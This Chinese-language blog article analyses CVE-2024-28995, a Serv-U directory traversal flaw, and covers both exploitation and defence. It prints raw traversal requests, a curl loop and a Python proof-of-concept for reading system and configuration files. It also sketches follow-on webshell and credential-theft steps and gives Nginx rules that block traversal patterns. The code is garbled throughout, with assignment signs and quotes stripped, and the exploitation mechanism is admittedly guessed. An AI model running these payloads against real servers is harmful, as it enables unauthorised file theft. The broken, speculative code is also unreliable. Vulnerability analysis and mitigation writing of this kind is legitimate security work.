1. 项目概述一个被低估的目录遍历漏洞最近在梳理一些历史漏洞的利用链时我又把目光投向了SolarWinds Serv-U。这个产品在2021年因为供应链攻击事件Sunburst后门而“名声大噪”但很多人可能忽略了它本身作为一款老牌的FTP/SFTP/FTPS服务器软件其代码库中也潜藏着一些经典的、危害性极高的漏洞。CVE-2024-28995就是一个典型的例子——一个无需任何身份验证的目录遍历漏洞。乍一看目录遍历似乎是个“老掉牙”的问题但当你深入分析Serv-U的架构和这个漏洞的具体触发路径时你会发现它的影响远比想象中严重尤其是在特定配置下攻击者几乎可以“为所欲为”。这个漏洞的核心在于未经身份验证的攻击者能够通过构造特殊的HTTP请求绕过Serv-U的路径规范化检查访问到服务器文件系统上的任意文件。这意味着什么意味着如果这台Serv-U服务器恰好托管着一些Web应用或者其安装目录下存在配置文件、日志文件甚至数据库文件攻击者都可以直接读取。更危险的是在某些场景下结合其他条件甚至可能实现远程代码执行。我之所以花时间重新剖析这个漏洞是因为在近期的攻防演练和资产排查中依然发现了不少未及时修补的Serv-U实例这说明系统管理员对于此类“传统”漏洞的警惕性有所下降而这恰恰给了攻击者可乘之机。接下来我将从一个安全研究者和渗透测试员的双重角度带你彻底拆解CVE-2024-28995。我们不仅会搞清楚它“为什么”会发生更会一步步还原“如何”利用它并最终给出在当前环境下最务实、最有效的防御和修复方案。无论你是负责企业安全的工程师还是对漏洞原理感兴趣的研究者这篇文章都能让你获得实战级的收获。2. 漏洞原理深度剖析路径规范化为何失效要理解CVE-2024-28995我们必须先理解Serv-U处理用户请求的流程特别是它如何将用户提供的路径映射到服务器的实际文件系统。Serv-U作为一个支持多种协议FTP, HTTP, SFTP的文件服务器其核心功能之一就是安全地隔离用户的家目录Home Directory防止用户越权访问其他区域。2.1 Serv-U的路径处理机制在理想的安全模型中当用户无论是通过FTP客户端还是Web客户端请求一个文件路径例如/downloads/report.pdfServ-U应该执行以下步骤规范化Canonicalization将请求中的路径转换为绝对路径并解析掉所有的.当前目录和..上级目录符号。验证Validation检查规范化后的绝对路径是否仍然位于为该用户分配的根目录或虚拟目录之下。访问Access如果验证通过则允许访问该文件。问题的根源就出在第一步和第二步之间。Serv-U的HTTP/S Web客户端组件用于提供基于Web的文件管理界面在处理某些特定格式的请求时其路径规范化逻辑存在缺陷。2.2 CVE-2024-28995的具体触发点根据公开的漏洞公告和补丁比对分析漏洞存在于Serv-U的Web接口对URL路径的解码和验证顺序上。具体来说双重编码Double Encoding的滥用攻击者可以将目录遍历序列../进行URL编码。一次编码后../变成%2e%2e%2f。Serv-U的某些处理层可能会对URL进行一次解码将其还原为../。但如果攻击者对这个编码后的字符串再进行一次URL编码就会得到%252e%252e%252f注意%被编码成了%25。不一致的解码阶段Serv-U的请求处理流水线中可能在不同的阶段进行了URL解码。设想这样一个流程阶段A安全检查前对路径进行初步规范化但可能只处理了一次解码遇到%252e会将其解码为%2e字面字符串而不会进一步识别为.。此时路径files/%252e%252e%252fetc/passwd在安全检查器看来可能只是一个包含奇怪字符%2e的普通路径名由于没有检测到..序列安全检查通过。阶段B安全检查后文件系统访问前在最终映射到文件系统时代码可能会对路径进行第二次解码。这时%2e被正确地解码为.于是路径神奇地变成了files/../etc/passwd。此时安全检查早已完成路径被直接传递给底层文件系统API从而成功实现目录穿越。注意以上“双重编码”是一个经典绕过手法但CVE-2024-28995的具体变体可能涉及更复杂的Unicode字符、特定参数或请求方法如POST、PUT。其本质是路径解析器与安全检查器对同一字符串的理解不一致这被称为“解析差异攻击”Parser Differential Attack。2.3 影响范围与严重性评估官方公告的影响范围是SolarWinds Serv-U FTP Server, Gateway, 和 MFT Server 版本 15.4.2 Hotfix 1。这意味着在2024年补丁发布之前大量在用的Serv-U版本都暴露在风险之下。它的严重性为什么被评定为高危CVSS评分通常较高无需认证Pre-authentication攻击门槛极低无需窃取或破解任何账号密码。远程利用Remote通过网络即可发起攻击。高影响High Impact可导致敏感信息泄露。泄露的文件可能包括Serv-U自身的配置文件Serv-U.iniServ-U.dat其中可能包含用户哈希、SSL私钥等。系统其他用户的文件。Web应用程序的源代码或配置文件如web.config,.env文件。在Windows系统上甚至可能尝试读取SAM数据库等系统文件尽管受系统权限限制。这个漏洞完美诠释了“最小权限原则”被破坏的后果。一个本该只提供文件传输服务的组件因为解析逻辑的瑕疵变成了一个通向服务器内部的文件读取器。3. 漏洞利用实战从信息收集到敏感文件读取纸上谈兵终觉浅绝知此事要躬行。下面我将模拟一个攻击者的视角展示如何一步步利用CVE-2024-28995。请注意以下所有操作仅用于授权的安全测试或学习研究任何未经授权的攻击行为都是非法的。3.1 环境搭建与目标识别首先我们需要一个目标。在授权测试中这可能是一个沙箱环境。你可以从旧版本软件归档站点找到受影响的Serv-U版本例如15.4.2进行安装用于研究。识别一个目标是否为Serv-U服务器通常有几种方法端口扫描Serv-U的Web管理界面和用户Web客户端通常运行在HTTP80/tcp或HTTPS443/tcp端口上。标准的FTP服务在21端口。横幅抓取Banner Grabbing连接到Web端口查看HTTP响应头。老版本的Serv-U可能在Server头或自定义头中泄露信息。curl -I http://target_ip:port/可能会看到类似Server: Serv-U或相关版本信息的头部。路径探测Serv-U的Web接口通常有一些默认路径如/,/login,/admin。访问这些路径可能会返回特定的登录页面、图标或错误信息从而指纹识别。3.2 构造利用请求假设我们已确认目标http://192.168.1.100:80运行着存在漏洞的Serv-U。核心的利用思路是尝试通过Web接口读取系统文件。基础Payload构造最直接的测试是尝试读取Web根目录之外的文件。例如在Windows系统上尝试读取C:\Windows\system32\drivers\etc\hosts文件在Linux系统上尝试读取/etc/passwd。由于漏洞可能涉及编码绕过我们需要尝试多种Payload变体。这里以一个虚拟路径/webclient/和尝试穿越到上级目录为例请求示例1使用经典的../遍历GET /webclient/../../../../etc/passwd HTTP/1.1 Host: 192.168.1.100这通常会被基础的安全机制拦截。请求示例2使用URL编码一次GET /webclient/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 Host: 192.168.1.100%2e是.的URL编码%2f是/的编码。这个也可能被检测。请求示例3使用双重URL编码关键测试GET /webclient/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1 Host: 192.168.1.100这里%25是%符号本身的URL编码。所以%252e会被第一次解码为%2e如果安全检查在此之后则看不到..。随后在文件访问层%2e被第二次解码为.形成有效的../。请求示例4尝试不同的端点或参数有时漏洞可能隐藏在特定的API端点或查询参数中而不是直接的路径里。例如GET /webclient/api?actiondownloadfile../../../etc/passwd HTTP/1.1 Host: 192.168.1.100或者对参数值进行编码GET /webclient/api?actiondownloadfile%252e%252e%252f%252e%252e%252fetc%252fpasswd HTTP/1.1 Host: 192.168.1.1003.3 利用工具与自动化脚本手动构造HTTP请求效率低下我们可以使用一些工具来批量测试。使用cURL进行测试# 测试双重编码Payload curl -v --path-as-is http://192.168.1.100/webclient/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd # --path-as-is 参数告诉curl不要规范化URL中的 ..这对于测试目录遍历漏洞至关重要。 # 测试不同的深度 for i in {1..10}; do payload$(printf %%252e%%252e/%.0s {1..$i}) echo Testing depth $i: $payload curl -s --path-as-is http://192.168.1.100/webclient/${payload}etc/passwd | head -c 200 echo -e \n--- done使用Python编写POC脚本一个简单的Python脚本可以更灵活地构造和测试Payload。import requests import sys def test_traversal(target_url, base_path, filename, depths5): 测试目录遍历漏洞 :param target_url: 目标基础URL如 http://192.168.1.100 :param base_path: Web接口路径如 /webclient/ :param filename: 想读取的文件如 ../../../../etc/passwd :param depths: 尝试的 ../ 层数 # 多种编码变体 encodings [ (plain, ..), (single, %2e%2e), (double, %252e%252e), (unicode, ..%c0%af), # 一种过时的UTF-8编码绕过有时也值得一试 ] for enc_name, enc_seq in encodings: print(f\n[*] Testing encoding: {enc_name}) for depth in range(1, depths 1): # 构造路径/base/path/ (encoded_seq/) * depth filename traversal_part enc_seq / full_path base_path.rstrip(/) / (traversal_part * depth) filename # 注意对于双重编码filename部分也可能需要编码这里简化处理 if enc_name double: # 简单地将filename中的斜杠也双重编码 encoded_filename filename.replace(/, %252f) full_path base_path.rstrip(/) / (traversal_part * depth) encoded_filename url target_url full_path print(f Trying depth {depth}: {full_path}) try: resp requests.get(url, timeout5, verifyFalse) # verifyFalse 忽略SSL证书验证 if resp.status_code 200 and len(resp.content) 0: # 简单判断是否成功返回内容包含特定字符串如root:对于/etc/passwd if broot: in resp.content or bAdministrator in resp.content or len(resp.content) 1000: # 防止过大文件 print(f[!] POTENTIAL SUCCESS! Status: {resp.status_code}, Length: {len(resp.content)}) print(f URL: {url}) print(f First 500 chars:\n{resp.content[:500]}) return True elif resp.status_code in [403, 404]: pass # 常见错误继续 else: print(f Status: {resp.status_code}, Length: {len(resp.content)}) except requests.exceptions.RequestException as e: print(f Request failed: {e}) return False if __name__ __main__: if len(sys.argv) ! 3: print(Usage: python servu_cve_2024_28995.py target_url base_path) print(Example: python servu_cve_2024_28995.py http://192.168.1.100 /webclient/) sys.exit(1) target sys.argv[1] base sys.argv[2] # 根据目标系统猜测文件 test_files [ ../../../../../../../../../../etc/passwd, # Linux ../../../../../../../../../../Windows/System32/drivers/etc/hosts, # Windows Serv-U.ini, # Serv-U自身配置文件可能在相对路径 Serv-U.dat, ] for f in test_files: print(f\n[] Attempting to read: {f}) if test_traversal(target, base, f, depths8): print([] Exploit appears successful for this file.) # 可以在这里添加更多操作如交互式shell或批量下载 break实操心得在实际测试中--path-as-is参数和正确处理URL编码是成功的关键。很多工具和库如Python的requests会自动对URL进行规范化这可能会“修复”我们精心构造的恶意Payload导致测试失败。因此在编写POC时有时需要手动拼接字符串或使用更低层级的库如http.client来精确控制发送的原始数据。3.4 利用成功后的后续动作如果漏洞利用成功读取到了/etc/passwd或hosts文件证明了漏洞存在。接下来攻击者可能会信息收集读取更多敏感文件如应用程序配置文件、日志文件、备份文件等寻找数据库连接字符串、API密钥、其他系统凭证。权限提升如果Serv-U以高权限如SYSTEM或root运行并且能读取到可写目录或特定脚本可能结合文件上传如果存在或写入Webshell来实现代码执行。例如在能确定Web根目录的情况下尝试写入一个JSP/ASP/PHP文件。横向移动利用窃取的凭证尝试登录服务器或其他关联系统。4. 防御与修复方案从紧急处置到长治久安发现漏洞只是第一步更重要的是如何修复和防御。对于系统管理员和安全运维人员来说面对CVE-2024-28995这样的漏洞需要一个层次化的应对策略。4.1 紧急处置措施临时缓解如果无法立即升级可以考虑以下临时缓解措施以降低风险网络层访问控制ACL在防火墙或负载均衡器上严格限制访问Serv-U服务器特别是其Web管理端口和用户Web客户端端口的源IP地址。只允许来自管理终端或特定信任网络的访问。如果Serv-U仅用于内部文件交换坚决不要将其Web服务端口暴露在互联网上。应用层过滤WAF/反向代理规则在Serv-U前端部署Web应用防火墙WAF或配置反向代理如Nginx, Apache。配置规则拦截包含大量..、%2e、%252e、%c0%af等目录遍历特征序列的HTTP请求。示例Nginx规则片段location /webclient/ { # 阻止明显的目录遍历 if ($request_uri ~* \.\./) { return 403; } # 阻止URL编码的目录遍历 (需谨慎可能误伤合法请求) if ($request_uri ~* %2e%2e ) { return 403; } if ($request_uri ~* %252e%252e ) { return 403; } # 将请求代理到后端的Serv-U proxy_pass http://serv-u-backend:port; proxy_set_header Host $host; # ... 其他代理设置 }注意基于正则表达式的过滤可能存在误报或漏报需要根据实际流量进行测试和调整。修改Serv-U配置如果支持检查Serv-U的配置项是否有关闭或禁用Web客户端功能的选项。如果业务不需要通过Web浏览器访问文件直接禁用此功能是最彻底的缓解方式。审查并限制虚拟目录的映射确保其指向的位置不包含敏感系统文件。4.2 根本解决方案升级与补丁这是唯一被官方认可且最有效的修复方式。SolarWinds官方已经发布了修复此漏洞的版本。修复版本SolarWinds Serv-U FTP Server 15.4.2 Hotfix 2SolarWinds Serv-U Gateway 15.4.2 Hotfix 2SolarWinds Serv-U MFT Server 15.4.2 Hotfix 2升级步骤建议备份在进行任何升级前务必备份当前的Serv-U配置文件如Serv-U.ini,Serv-U.dat以及所有托管的数据文件。阅读发行说明从SolarWinds官网下载补丁或新版本时仔细阅读对应的发行说明Release Notes了解升级步骤、已知问题和兼容性说明。测试环境验证如果条件允许先在隔离的测试环境中进行升级验证新版本与现有配置、集成系统的兼容性。生产环境升级规划维护窗口在生产环境中进行升级。按照官方指南操作升级后务必重启Serv-U服务以使补丁生效。验证修复升级完成后使用之前构造的漏洞利用Payload进行测试确认漏洞已无法复现且正常业务功能不受影响。重要提醒官方公告特别指出Serv-U 15.3.2及更早版本已在2025年2月终止支持End-of-Life, EOL。运行EOL版本的系统将不会收到任何安全更新面临极高的风险。强烈建议所有仍在使用EOL版本的用户立即制定迁移计划升级到受支持的版本。4.3 安全加固最佳实践打补丁解决了眼前的问题但建立长期的安全态势需要更全面的加固。遵循最小权限原则为Serv-U服务创建一个专用的、低权限的系统用户账户来运行而不是使用SYSTEM、root或高权限管理员账户。严格限制该账户对文件系统的访问权限仅授予其访问必需目录的读写权限。文件系统隔离将Serv-U的安装目录、配置目录、日志目录以及用户文件存储目录都放在独立的、非系统分区或目录下。避免将Serv-U的根目录或虚拟目录指向包含操作系统文件或其他应用程序敏感文件的路径。纵深防御在服务器上启用主机防火墙仅开放必要的端口。定期进行漏洞扫描和安全评估不仅针对Serv-U也包括整个操作系统和运行的其他服务。部署主机入侵检测/防御系统HIDS/HIPS监控对Serv-U进程和关键文件的异常访问行为。日志与监控确保Serv-U的审计日志功能已开启并记录详细的事件如登录、文件上传/下载、删除等。将日志集中收集到安全的SIEM安全信息和事件管理系统中。设置告警规则监控异常的访问模式例如短时间内大量尝试访问不同路径的404或403错误这可能就是目录遍历攻击的迹象。5. 常见问题与排查技巧实录在分析和防御这类漏洞的过程中我遇到过不少典型问题和误区。这里记录下来希望能帮你少走弯路。5.1 漏洞验证中的“坑”问题1为什么我的Payload返回400 Bad Request或404 Not Found可能原因路径深度不对。你需要猜测Web应用的根目录与实际文件系统根目录之间的相对深度。../../../../可能不够试试../../../../../../../../。排查先尝试读取一个已知存在的、位于Web目录下的文件比如一个图片、robots.txt确认基础路径正确。然后逐步增加../的层数。可能原因目标端点不对。漏洞可能只在特定的URL路径或API端点上触发而不是根目录。排查使用目录爆破工具如dirsearch,gobuster寻找Serv-U特有的路径如/webclient,/admin,/api,/servlet等再针对这些路径进行测试。问题2工具显示“成功”200 OK但返回的内容是错误页面或空白可能原因WAF或应用自身的安全机制返回了“伪装”的成功页面。有些安全产品会拦截恶意请求但返回一个200状态码和普通错误页面以混淆攻击者。排查检查响应体的内容和长度。一个成功的/etc/passwd读取其内容通常是文本格式包含root:x:0:0:这样的行长度也相对固定。如果返回的是HTML格式的“访问被拒绝”或默认错误页则说明被拦截了。问题3在Linux上测试成功在Windows上同样的Payload却失败了可能原因文件路径分隔符不同。Linux使用正斜杠/Windows使用反斜杠\。在利用Windows路径时Payload需要相应调整。调整将Payload中的/替换为\或其URL编码形式%5c并尝试双重编码%255c。例如../../../../Windows/System32/drivers/etc/hosts或..%255c..%255c..%255c..%255cWindows%255cSystem32%255cdrivers%255cetc%255chosts。5.2 修复与加固后的验证问题4升级后如何确认漏洞真的修好了方法使用之前成功的Payload进行复测是最直接的方法。但更严谨的做法是进行回归测试。步骤功能测试确保Serv-U的所有正常业务功能FTP上传下载、Web界面登录浏览、用户管理等在升级后工作正常。漏洞复测使用包含多种绕过手法的Payload集如普通../、URL编码、双重编码、Unicode编码等进行扫描。可以使用上一节中的Python脚本。日志检查在测试过程中观察Serv-U的访问日志和系统安全日志。修复后的版本应该将此类恶意请求记录为非法访问尝试或直接返回403/404而不是成功响应200。问题5已经设置了防火墙和WAF是不是就不用急着打补丁了绝对不行这是一个非常危险的误区。外围防护防火墙、WAF是重要的缓解和延迟手段但不是修复。它们可能存在规则被绕过、配置错误或被意外关闭的风险。攻击者也可能从内网发起攻击从而绕过外围防护。只有应用本身的补丁才能从根本上消除漏洞。安全的最佳实践是“纵深防御”即外围防护和软件补丁缺一不可。5.3 长期防护建议问题6除了这个漏洞Serv-U还有其他需要注意的吗回答SolarWinds Serv-U历史上披露过多个安全漏洞包括身份验证绕过、远程代码执行等。对于这类商业软件我的建议是订阅安全公告关注SolarWinds官方的安全公告渠道以及CVE、NVD等通用漏洞数据库。建立补丁管理流程为所有企业软件尤其是面向网络的服务器软件制定严格的补丁更新策略和周期。对于高危漏洞应建立紧急响应流程。定期进行渗透测试授权专业的安全团队或使用自动化工具定期对暴露在外的服务进行安全测试主动发现潜在风险。问题7如果找不到受影响的版本进行测试研究怎么办回答漏洞研究不一定非要原版环境。你可以通过以下方式学习分析补丁对比修复前后的二进制文件如果可能或官方更新日志推测漏洞位置和修复方式。搭建类似环境使用其他开源的FTP服务器如vsftpd, ProFTPD或Web应用尝试复现“目录遍历”这一大类漏洞的原理理解路径解析、规范化、编码解码的常见错误模式。研究公开的POC/分析文章安全社区经常有研究人员发布详细的分析文章。阅读这些文章理解漏洞的根源、利用条件和修复方法其价值不亚于自己复现一次。CVE-2024-28995给我们的核心教训是即使是最常见的漏洞类型在复杂的软件系统中也可能因为解析逻辑的细微差异而产生严重的实际影响。作为防御方保持软件更新、实施最小权限和纵深防御永远是应对未知威胁最坚实的基石。而在漏洞公开后迅速行动评估影响并应用补丁则是将风险降至最低的关键操作。